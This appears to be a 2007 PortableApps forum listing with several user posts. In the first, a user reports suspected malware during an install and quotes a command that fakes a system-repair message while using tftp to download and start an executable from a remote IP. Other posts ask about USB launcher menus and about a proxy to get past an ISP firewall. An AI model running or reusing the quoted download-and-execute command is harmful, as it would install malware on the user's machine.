urgent - has malware been injected?

Submitted by natv on April 30, 2007 - 11:51am

Dear support:

This may or may not be related to portableapps, but I have to ask and put this out there.

I was installing portableapp for the first time (the full install, not lite). Somewhere towards the end of the install (i.e. 45 minutes later), I noticed some activity happening on my laptop.

Some windows were opening up by themselves. My start menu opened, and this command was placed in the Start - > Run box and was about to be run:

%comspec% /c echo Repairing user32.dll & echo Please wait... & tftp -i 69.157.107.38 GET pbgf.exe & start pbgf&

USB Menu

Submitted by King Tut on April 27, 2007 - 7:55pm

I need a USB menu... I don't really like PAM, as it's not customizable enough amongst other reasons, PStart gives me a warning every time I open the program on a different computer and the data becomes corrupted.. and ASuite works, but when I put the folder onto my flash drive and run it, it doesn't work (same whenever I install it directly to the flash drive)... I was happy with PStart until it started malfunctioning...and ASuite looked nice until it didn't work ..:(

Which proxy can bypass my ISP firewall???

Submitted by topdog9926 on April 27, 2007 - 7:25pm

Hello,

My ISP has a firewall that blocks access to ALL secure sites (https.) I think that's port 443. Before now I have used http-tunnel.com to get around this, but they are having issues. The only other app that has come close to being an alternative is your-freedom.net but their service is crappy.

I have also tried web based proxies but they don't do the job well enough.

Can anyone here pls recommend a proxy software that can bypass my ISP firewall. Any help appreciated

Questions about PortableApps Suite

Submitted by chobo2 on April 27, 2007 - 5:21pm

Hey

I have a couple questions about the PortableApps Suite(the program that puts everything in a nice menu)

Right now I am using the u3 menu(I like it alot) but that technology seems not to be taking off and not many programs exist for it(that are free) so I am just looking at this for an alternative.

Questions:

1. Does this menu launch automatically when usb key is plugged in?
2. Does this have the ability to have password protection?
